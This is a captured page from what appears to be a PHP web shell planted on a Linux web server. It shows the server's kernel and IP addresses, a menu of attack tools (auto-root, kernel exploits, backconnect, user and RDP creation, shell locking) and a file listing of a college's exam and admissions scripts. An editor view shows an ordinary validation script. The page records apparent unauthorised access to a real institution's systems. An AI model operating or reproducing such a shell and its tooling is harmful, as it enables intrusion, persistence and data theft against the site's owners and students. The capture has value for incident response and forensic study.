Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 13.59.116.142
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
college /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
Report
[ DIR ]
drwxr-xr-x
base_file
[ DIR ]
drwxr-xr-x
events
[ DIR ]
drwxr-xr-x
popups
[ DIR ]
drwxr-xr-x
.DS_Store
12
KB
-rwxr-xr-x
AbsentEntrySubjectWise.js
15.19
KB
-rwxr-xr-x
AllkeyEvent.js
37.26
KB
-rwxr-xr-x
AllkeyEvent_20102021.js
37.24
KB
-rwxr-xr-x
Att_Ent_Teacher_Wise.js
10.99
KB
-rwxr-xr-x
Barchart.js
13.18
KB
-rwxr-xr-x
CIEAttendanceNotEligible.js
7.23
KB
-rwxr-xr-x
CIEpendingList.js
5.97
KB
-rwxr-xr-x
Dispatch_answer_script.js
18.53
KB
-rwxr-xr-x
Dispatch_answer_script_qp.js
16.83
KB
-rwxr-xr-x
ECHblk.js
8.14
KB
-rwxr-xr-x
IdentifyTransactions.js
2.18
KB
-rwxr-xr-x
MainPage.js
18.43
KB
-rwxr-xr-x
MainPage_wait.js
15.19
KB
-rwxr-xr-x
Message_board.js
5.09
KB
-rwxr-xr-x
RvRtAcknowledgement.js
6.95
KB
-rwxr-xr-x
SelectSubjType.js
11.2
KB
-rwxr-xr-x
SubjectType.js
11.27
KB
-rwxr-xr-x
UpdateCollDet.js
6.99
KB
-rwxr-xr-x
absentMalpractice.js
3.04
KB
-rwxr-xr-x
absententrysubjectwiseQP.js
20.21
KB
-rwxr-xr-x
ack_adm_application.js
45.8
KB
-rwxr-xr-x
ack_admentry_application.js
57.78
KB
-rwxr-xr-x
ack_admentry_application_dud.j...
56.55
KB
-rwxr-xr-x
ack_exam_app_form.js
3.56
KB
-rwxr-xr-x
ack_exam_app_form_bulk.js
2.21
KB
-rwxr-xr-x
ack_rv_rt_application.js
2.59
KB
-rwxr-xr-x
adm_delete_data.js
3.05
KB
-rwxr-xr-x
admchallanpreparation.js
5.97
KB
-rwxr-xr-x
admdownloadexsheet.js
460
B
-rwxr-xr-x
admentry_nitte.js
136.48
KB
-rwxr-xr-x
admission_approve.js
23.71
KB
-rwxr-xr-x
admission_approve_kus.js
29.13
KB
-rwxr-xr-x
admission_entry_reg.js
46.19
KB
-rwxr-xr-x
admission_entry_status.js
1.12
KB
-rwxr-xr-x
admissionapplist.js
3.9
KB
-rwxr-xr-x
admstuddate.js
4.22
KB
-rwxr-xr-x
admuploadexsheet.js
1.4
KB
-rwxr-xr-x
affliation_fee.js
24.58
KB
-rwxr-xr-x
attTeachSum.js
4.16
KB
-rwxr-xr-x
attendance.js
10.68
KB
-rwxr-xr-x
attendanceReportForm.js
4.81
KB
-rwxr-xr-x
attendance_freez.js
6.03
KB
-rwxr-xr-x
attendanceentrydaywise.js
26.75
KB
-rwxr-xr-x
attendenceshort.js
4.29
KB
-rwxr-xr-x
attiacombined.js
2.83
KB
-rwxr-xr-x
attreport.js
3.1
KB
-rwxr-xr-x
backup.js
7.98
KB
-rwxr-xr-x
backup_restore.js
1.33
KB
-rwxr-xr-x
batchSetup.js
10.76
KB
-rwxr-xr-x
batch_setup.js
10.02
KB
-rwxr-xr-x
batchwisetimetable.js
16.77
KB
-rwxr-xr-x
bill_details.js
1.02
KB
-rwxr-xr-x
bundle_ack.js
1.5
KB
-rwxr-xr-x
bundle_dispatch.js
8.74
KB
-rwxr-xr-x
bundle_rec_ack.js
1.16
KB
-rwxr-xr-x
calendar-en.js
3.52
KB
-rwxr-xr-x
calendar-setup.js
8.83
KB
-rwxr-xr-x
calendar.js
51.74
KB
-rwxr-xr-x
calender.js
639
B
-rwxr-xr-x
candidate_list.js
33.92
KB
-rwxr-xr-x
centerdet.js
1.45
KB
-rwxr-xr-x
challan_entries.js
4.08
KB
-rwxr-xr-x
challan_preparation.js
2.86
KB
-rwxr-xr-x
changeAdmDegree.js
4.01
KB
-rwxr-xr-x
changeMobile.js
3.15
KB
-rwxr-xr-x
checkbrowser.js
2.77
KB
-rwxr-xr-x
classtimetablerpt.js
1.91
KB
-rwxr-xr-x
cntrDeclaration.js
3.66
KB
-rwxr-xr-x
coll_exam_app_form.js
2.11
KB
-rwxr-xr-x
collbankdet.js
2.49
KB
-rwxr-xr-x
colldesp_ack.js
3.58
KB
-rwxr-xr-x
college.js
4.64
KB
-rwxr-xr-x
college_approve.js
23.41
KB
-rwxr-xr-x
college_degree_status.js
3.32
KB
-rwxr-xr-x
collegedet.js
1.47
KB
-rwxr-xr-x
collegewisedownload.js
1.26
KB
-rwxr-xr-x
collfundtransfer.js
5.16
KB
-rwxr-xr-x
collinfo_popup.js
10.32
KB
-rwxr-xr-x
colltransfer.js
7.87
KB
-rwxr-xr-x
convdet.js
5.91
KB
-rwxr-xr-x
convo.js
13.55
KB
-rwxr-xr-x
copomarksentryexternal.js
12.23
KB
-rwxr-xr-x
copomaxmarksentry.js
5.29
KB
-rwxr-xr-x
coporeport.js
2.37
KB
-rwxr-xr-x
createAdmission.js
12.68
KB
-rwxr-xr-x
createUser.js
3.42
KB
-rwxr-xr-x
createattclass.js
8.88
KB
-rwxr-xr-x
createclass.js
18.84
KB
-rwxr-xr-x
daterange.js
7.74
KB
-rwxr-xr-x
deggrp.js
7.48
KB
-rwxr-xr-x
deggrpwisepiechart.js
9.42
KB
-rwxr-xr-x
degree.js
3.1
KB
-rwxr-xr-x
degreegrpwisestud.js
1.72
KB
-rwxr-xr-x
degreewisestdusn.js
1.25
KB
-rwxr-xr-x
degstudymat.js
4.9
KB
-rwxr-xr-x
degstudymatdet.js
3.58
KB
-rwxr-xr-x
delegate.js
1.51
KB
-rwxr-xr-x
doc_verification.js
2.33
KB
-rwxr-xr-x
downloadStudentPhotos.js
1.13
KB
-rwxr-xr-x
download_misc_files.js
838
B
-rwxr-xr-x
download_misc_files_new.js
1.65
KB
-rwxr-xr-x
editstddet.js
5.43
KB
-rwxr-xr-x
enableprintapplication_ru.js
46.21
KB
-rwxr-xr-x
entryexitevents.js
1.36
KB
-rwxr-xr-x
examAttendanceReport.js
2.38
KB
-rwxr-xr-x
examappfeereport.js
3.02
KB
-rwxr-xr-x
export_import.js
1.62
KB
-rwxr-xr-x
export_import_setup.js
5.65
KB
-rwxr-xr-x
fee_report.js
4.74
KB
-rwxr-xr-x
feepaidreports.js
2.08
KB
-rwxr-xr-x
feeupdation.js
5.83
KB
-rwxr-xr-x
finalCieMarks.js
2.62
KB
-rwxr-xr-x
footer.js
6.73
KB
-rwxr-xr-x
form_submit.js
1.3
KB
-rwxr-xr-x
formatdate.js
13.87
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.js
2.86
KB
-rwxr-xr-x
freeze_module_at_admin_college...
12.8
KB
-rwxr-xr-x
freeze_module_at_admin_college...
6.09
KB
-rwxr-xr-x
freeze_module_at_university_co...
4.85
KB
-rwxr-xr-x
freezeiaprici.js
13.76
KB
-rwxr-xr-x
grid_display.js
939
B
-rwxr-xr-x
gtransapi.js
398.2
KB
-rwxr-xr-x
htblk.js
5.18
KB
-rwxr-xr-x
iaMarksReport.js
6.91
KB
-rwxr-xr-x
iaMarksReportnew.js
6.44
KB
-rwxr-xr-x
iaSummaryReport.js
2.51
KB
-rwxr-xr-x
iacombined.js
5.79
KB
-rwxr-xr-x
iamarks.js
2.3
KB
-rwxr-xr-x
iasectionwise.js
5.6
KB
-rwxr-xr-x
identifyCoMarks.js
12.01
KB
-rwxr-xr-x
import_marks.js
1.41
KB
-rwxr-xr-x
includeCSS.js
1.31
KB
-rwxr-xr-x
index.js
31.56
KB
-rwxr-xr-x
index_wait.js
29.59
KB
-rwxr-xr-x
invig_report.js
2.82
KB
-rwxr-xr-x
invigilators_dairy.js
8.18
KB
-rwxr-xr-x
invigilators_dairy_gug.js
5.52
KB
-rwxr-xr-x
invigilators_dairy_stph.js
6.9
KB
-rwxr-xr-x
jquery.color.js
4.5
KB
-rwxr-xr-x
jquery.js
29.42
KB
-rwxr-xr-x
lateralentry.js
4.92
KB
-rwxr-xr-x
load-report-js-files.js
10.89
KB
-rwxr-xr-x
load_js_files.js
676
B
-rwxr-xr-x
load_mannual_js_files.js
65.39
KB
-rwxr-xr-x
markentry_studentwise.js
9.95
KB
-rwxr-xr-x
markentry_subjectwise.js
18.77
KB
-rwxr-xr-x
markentry_subjectwise_bf_gcg.j...
17.73
KB
-rwxr-xr-x
marksEntryExt.js
4.3
KB
-rwxr-xr-x
marksentryexternal.js
11.09
KB
-rwxr-xr-x
marksentryquestionwise.js
49.92
KB
-rwxr-xr-x
marksentrytwo.js
9.43
KB
-rwxr-xr-x
marksentrytwonew.js
9.7
KB
-rwxr-xr-x
markslistelement_report.js
6.46
KB
-rwxr-xr-x
message_text.js
2.05
KB
-rwxr-xr-x
mobiscroll.jquery.min.js
429.36
KB
-rwxr-xr-x
module_setup.js
4.7
KB
-rwxr-xr-x
month_cal.js
74.26
KB
-rwxr-xr-x
oldqnpaper.js
4.27
KB
-rwxr-xr-x
openPopUp.js
5.22
KB
-rwxr-xr-x
passwordshow.js
59
B
-rwxr-xr-x
pendingcielist.js
3.32
KB
-rwxr-xr-x
piecharttesting.js
64
B
-rwxr-xr-x
popup.js
123.65
KB
-rwxr-xr-x
popup_20102021.js
122.39
KB
-rwxr-xr-x
popupold.js
61.77
KB
-rwxr-xr-x
postnotification.js
10.25
KB
-rwxr-xr-x
practcalDailyReport.js
2.88
KB
-rwxr-xr-x
practicalMarks.js
10.87
KB
-rwxr-xr-x
principalfreezingsubject.js
7.31
KB
-rwxr-xr-x
principleFreeze.js
7.88
KB
-rwxr-xr-x
pwschange.js
1.08
KB
-rwxr-xr-x
qnwiseMarksStats.js
8.94
KB
-rwxr-xr-x
qpSummaryReport.js
2.09
KB
-rwxr-xr-x
qpissue.js
1.55
KB
-rwxr-xr-x
receive_rv_rt_application.js
2.87
KB
-rwxr-xr-x
receive_teach_transfer.js
5.08
KB
-rwxr-xr-x
remove_exam_ack.js
1.07
KB
-rwxr-xr-x
report_SubjectListGeneral.js
3.49
KB
-rwxr-xr-x
report_admission_list_vku.js
2.82
KB
-rwxr-xr-x
report_exam_application_form.j...
2.75
KB
-rwxr-xr-x
report_reg_list_gcg.js
2.48
KB
-rwxr-xr-x
report_setup.js
13.38
KB
-rwxr-xr-x
resetPasseordValidate.js
2.34
KB
-rwxr-xr-x
resultsheet.js
12.36
KB
-rwxr-xr-x
revaluation.js
8.27
KB
-rwxr-xr-x
revaluation_withdegree.js
8.24
KB
-rwxr-xr-x
rommcreationnew.js
6.44
KB
-rwxr-xr-x
room_allotment.js
3.83
KB
-rwxr-xr-x
room_allotment_datewise.js
8.59
KB
-rwxr-xr-x
room_allotment_datewise_stph.j...
8.05
KB
-rwxr-xr-x
room_allotment_shifiting.js
3.22
KB
-rwxr-xr-x
roomallotmantsummary.js
3.2
KB
-rwxr-xr-x
roomdeclaration.js
6.54
KB
-rwxr-xr-x
roomdeclaration_stph.js
11.49
KB
-rwxr-xr-x
roomwise_regno.js
6.08
KB
-rwxr-xr-x
rv_rt_guide_lines.js
466
B
-rwxr-xr-x
rv_rt_report.js
5.67
KB
-rwxr-xr-x
rvdates.js
8.94
KB
-rwxr-xr-x
savesemster.js
3.9
KB
-rwxr-xr-x
sectionwisepermission.js
4.98
KB
-rwxr-xr-x
semwiseresultanalysis.js
8.25
KB
-rwxr-xr-x
shortLists.js
6.53
KB
-rwxr-xr-x
std_register_det.js
9.56
KB
-rwxr-xr-x
studSubIdent.js
5.34
KB
-rwxr-xr-x
stud_wise_report.js
4.4
KB
-rwxr-xr-x
studdet.js
2.84
KB
-rwxr-xr-x
student_entry.js
54.15
KB
-rwxr-xr-x
student_entry_kswu.js
50.1
KB
-rwxr-xr-x
student_entry_rur.js
121.59
KB
-rwxr-xr-x
student_entry_rur_new.js
119.52
KB
-rwxr-xr-x
student_entry_vku.js
116.63
KB
-rwxr-xr-x
studentphotolist.js
1.75
KB
-rwxr-xr-x
studentreport.js
1.82
KB
-rwxr-xr-x
studnamecorr.js
8.13
KB
-rwxr-xr-x
subIAMarksEntry.js
8.08
KB
-rwxr-xr-x
subblock.js
4.97
KB
-rwxr-xr-x
subdet.js
20.4
KB
-rwxr-xr-x
subdetails.js
30.29
KB
-rwxr-xr-x
subjReg.js
5.1
KB
-rwxr-xr-x
subjectAppearing_PopUp.js
2.06
KB
-rwxr-xr-x
subject_freshExam.js
12.67
KB
-rwxr-xr-x
subjectfreez.js
12.3
KB
-rwxr-xr-x
subjectwisePiechart.js
10.68
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
7.97
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
3.16
KB
-rwxr-xr-x
subshort.js
6.34
KB
-rwxr-xr-x
system.js
12.41
KB
-rwxr-xr-x
system_utility.js
8.74
KB
-rwxr-xr-x
tatkal.js
1.23
KB
-rwxr-xr-x
teachFreeze.js
8.03
KB
-rwxr-xr-x
teachOficerEntry.js
7.25
KB
-rwxr-xr-x
teacher_val_report.js
656
B
-rwxr-xr-x
teachers.js
33.36
KB
-rwxr-xr-x
teachersreport.js
1.25
KB
-rwxr-xr-x
time_table_degreewise.js
3.35
KB
-rwxr-xr-x
topsheet.js
1.1
KB
-rwxr-xr-x
transaction-series.js
6.92
KB
-rwxr-xr-x
updateSection.js
7.08
KB
-rwxr-xr-x
updatecopo.js
22.77
KB
-rwxr-xr-x
updatedegreegroup.js
7.09
KB
-rwxr-xr-x
updatefreshexam.js
1.52
KB
-rwxr-xr-x
updatesspdetails.js
14.81
KB
-rwxr-xr-x
updatetimetable.js
17.27
KB
-rwxr-xr-x
updateuvcms.js
6.2
KB
-rwxr-xr-x
updmarks.js
837
B
-rwxr-xr-x
uploadStudentPhotos.js
4.64
KB
-rwxr-xr-x
upload_details.js
4.15
KB
-rwxr-xr-x
upload_doc_demo.js
2.03
KB
-rwxr-xr-x
uploadcopo.js
3.16
KB
-rwxr-xr-x
uploadteachattend.js
8.56
KB
-rwxr-xr-x
userpasswordreset.js
6.5
KB
-rwxr-xr-x
usersetup.js
33.42
KB
-rwxr-xr-x
usersetupNew.js
3.76
KB
-rwxr-xr-x
usersubj_identification.js
4.34
KB
-rwxr-xr-x
validate.js
9.84
KB
-rwxr-xr-x
viewNotifications.js
5.95
KB
-rwxr-xr-x
view_ledger.js
7.89
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : validate.js
/************************************************************************************************** * FILE NAME��.......: Validate.js * MODIFIED_DATE.....: 26/05/2009 * PROGRAMMER........: Beemaraj.V * DESCRIPTION�......: This Script file is used for maintaining all Validating function. * * FUNCTION�.........: trim() * PARAMETERS........: String as ARGUMENTS * DESCRIPTION.......: The function is used to trim the given string. * * FUNCTION�.........: validateemail() * PARAMETERS........: Email_id as ARGUMENTS * DESCRIPTION.......: The function is used to Validate EmailId. * FUNCTION�.........: acceptNumbersOnlyForModule() * PARAMETERS........: Key Event as ARGUMENTS * DESCRIPTION.......: The function is used to Accept Only Numbers in Textbox. * * FUNCTION�.........: validnumber() * PARAMETERS........: no as ARGUMENTS * DESCRIPTION.......: The function is used to validnumber for Textbox. * * FUNCTION�.........: isNumber() * PARAMETERS........: no as ARGUMENTS * DESCRIPTION.......: The function is used to check Enter charecter is Number. * * FUNCTION�.........: isLetter() * PARAMETERS........: no as ARGUMENTS * DESCRIPTION.......: The function is used to check Enter charecter is Letter. * * FUNCTION�.........: validDecimal() * PARAMETERS........: no,dec as ARGUMENTS * DESCRIPTION.......: The function is used to validDecimal. * ***************************************************************************************************/ // Naveen // position should be < 0 function tarkaRound(number, position) { var zeors = 1; for (var i = 1; i <= position; i++) { zeors = zeors * 10; } return Math.round(number * zeors) / zeors; } // Trim the given String function trim($str) { return jQuery.trim($str); } function validateemail(emailid) { var check = /^([^0-9_@](\w+(?:\.\w+)*))@((?:\w+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i; if (emailid.match(check)) return true; else return false; } function acceptNumbersOnlyForModule(evt) { var charCode = evt.which ? evt.which : evt.keyCode; console.log(charCode); if ( charCode != 97 && charCode != 65 && charCode != 66 && charCode != 98 && ((charCode > 41 && (charCode < 45 || charCode > 57) && charCode != 47 && charCode != 99 && charCode != 118 && charCode != 120) || charCode == 32 || charCode == 47) ) return false; return true; } function acceptNumbersOnlyForModuleABMP(evt) { var charCode = evt.which ? evt.which : evt.keyCode; if ( (charCode > 41 && (charCode < 46 || charCode > 57) && charCode != 97 && charCode != 78 && charCode != 110 && charCode != 112 && charCode != 109 && charCode != 98 && charCode != 47 && charCode != 80 && charCode != 77 && charCode != 66 && charCode != 69 && charCode != 101 && charCode != 65 && charCode != 99 && charCode != 118 && charCode != 120) || charCode == 32 ) return false; return true; } function dotcount(s1, letter) { return (s1.match(RegExp(letter, "g")) || []).length; } function AcceptDecNumbersOnly(evt, tnumb) { var charCode = evt.which ? evt.which : evt.keyCode; if (dotcount(tnumb, "\\.") > 0 && charCode == 46) return false; if ( (charCode > 41 && (charCode < 45 || charCode > 57) && charCode != 46 && charCode != 47 && charCode != 99 && charCode != 118 && charCode != 120) || charCode == 32 ) return false; return true; } function AcceptNumbersOnly(evt) { var charCode = evt.which ? evt.which : evt.keyCode; if ( charCode > 41 && (charCode < 45 || charCode > 57) && charCode != 47 && charCode != 99 && charCode != 118 && charCode != 120 && charCode != 78 && charCode != 65 && charCode != 97 && charCode != 110 && charCode != 77 && charCode != 80 && charCode != 109 && charCode != 112 ) return false; return true; } function validateTime(time) { var check = /^([0-9]{0,2})([\:]{1,1})([0-9]{0,2})$/; if (time.match(check)) return true; else return false; } function validnumberold(no) { var dateRE = /^([0-9]{0,10})([\.]{0,1})([0-9]{0,9})$/; if (no.match(dateRE)) return true; else return false; } function validnumber(no) { var dateRE = /^([0-9]{0,10})([\.]{0,1})([0-9]{0,9})$/; if (no.match(dateRE)) return true; else return false; } function isNumber(no) { var dateRE = /^([0-9.])*$/; return true; if (no.match(dateRE)) return true; else return false; } function isLetter(e, t) { try { if (window.event) { var charCode = window.event.keyCode; } else if (e) { var charCode = e.which; } else { return true; } if ( (charCode > 64 && charCode < 91) || (charCode > 96 && charCode < 123) || charCode == 9 || charCode == 0 || charCode == 8 ) return true; else return false; } catch (err) { alert(err.Description); } } function charKeydown() { var ch = String.fromCharCode(event.keyCode); var filter = /[a-zA-Z ]/; if (!filter.test(ch)) { event.returnValue = false; } } function dmydateformat(e, id) { if (e.keyCode != 8) { if ($("#" + id).val().length == 2) { $("#" + id).val($("#" + id).val() + "/"); } else if ($("#" + id).val().length == 5) { $("#" + id).val($("#" + id).val() + "/"); } } if (e.keyCode == 9) { var value = document.getElementById(id).value; if (value != "") { var matchArray = value; var day = matchArray.substring(0, 2); var month = matchArray.substring(3, 5); var year = matchArray.substring(6, 10); if (month < 1 || month > 12) { alert("Month must be between 1 and 12."); document.getElementById(id).value = ""; setTimeout(function () { document.getElementById(id).focus(); }, 0); return false; } if (day < 1 || day > 31) { alert("Day must be between 1 and 31."); document.getElementById(id).value = ""; setTimeout(function () { document.getElementById(id).focus(); }, 0); return; } return; } } } function validDecimal(no, $dec) { var dateRE = new RegExp( "^([-]{0,1})([0-9]{0,10})([.]{0,1})([0-9]{0," + $dec + "})$" ); if (no.match(dateRE)) return true; else return false; } function roundNumber(number, decimal_points) { if (!decimal_points) return Math.round(number); if (number == 0) { var decimals = ""; for (var i = 0; i < decimal_points; i++) decimals += "0"; return "0." + decimals; } var exponent = Math.pow(10, decimal_points); var num = Math.round(number * exponent).toString(); return ( num.slice(0, -1 * decimal_points) + "." + num.slice(-1 * decimal_points) ); } function phpround(value, precision, mode) { // Returns the number rounded to specified precision // // version: 1107.2516 // discuss at: http://phpjs.org/functions/round // + original by: Philip Peterson // + revised by: Onno Marsman // + input by: Greenseed // + revised by: T.Wild // + input by: meo // + input by: William // + bugfixed by: Brett Zamir (http://brett-zamir.me) // + input by: Josep Sanz (http://www.ws3.es/) // + revised by: Rafal Kukawski (http://blog.kukawski.pl/) // % note 1: Great work. Ideas for improvement: // % note 1: - code more compliant with developer guidelines // % note 1: - for implementing PHP constant arguments look at // % note 1: the pathinfo() function, it offers the greatest // % note 1: flexibility & compatibility possible // * example 1: round(1241757, -3); // * returns 1: 1242000 // * example 2: round(3.6); // * returns 2: 4 // * example 3: round(2.835, 2); // * returns 3: 2.84 // * example 4: round(1.1749999999999, 2); // * returns 4: 1.17 // * example 5: round(58551.799999999996, 2); // * returns 5: 58551.8 var m, f, isHalf, sgn; // helper variables precision |= 0; // making sure precision is integer m = Math.pow(10, precision); value *= m; sgn = (value > 0) | -(value < 0); // sign of the number isHalf = value % 1 === 0.5 * sgn; f = Math.floor(value); if (isHalf) { switch (mode) { case "PHP_ROUND_HALF_DOWN": value = f + (sgn < 0); // rounds .5 toward zero break; case "PHP_ROUND_HALF_EVEN": value = f + (f % 2) * sgn; // rouds .5 towards the next even integer break; case "PHP_ROUND_HALF_ODD": value = f + !(f % 2); // rounds .5 towards the next odd integer break; default: value = f + (sgn > 0); // rounds .5 away from zero } } return (isHalf ? value : Math.round(value)) / m; } } function validateDate(ldate, id, evt) { var pattern = /^([0-9]{2})\/([0-9]{2})\/([0-9]{4})$/; var charCode = evt.which ? evt.which : evt.keyCode; if (charCode == 9) { if (ldate == null || ldate == "" || !pattern.test(ldate)) { errMessage = "Invalid date\n"; alert(errMessage); //$("#"+id).value(''); document.getElementById(id).value = ""; return; } else { var matchArray = ldate; var day = matchArray.substring(0, 2); var month = matchArray.substring(3, 5); var year = matchArray.substring(6, 10); if (month < 1 || month > 12) { alert("Month must be between 1 and 12."); $("#" + id).focus(); return; } if (day < 1 || day > 31) { alert("Day must be between 1 and 31."); $("#" + id).focus(); return; } return; } } } Object.size = function (obj) { var size = 0, key; for (key in obj) { if (obj.hasOwnProperty(key)) size++; } return size; }; function to_upperx(id) { var x = document.getElementById(id).value; document.getElementById(id).value = x.toUpperCase(); }
Close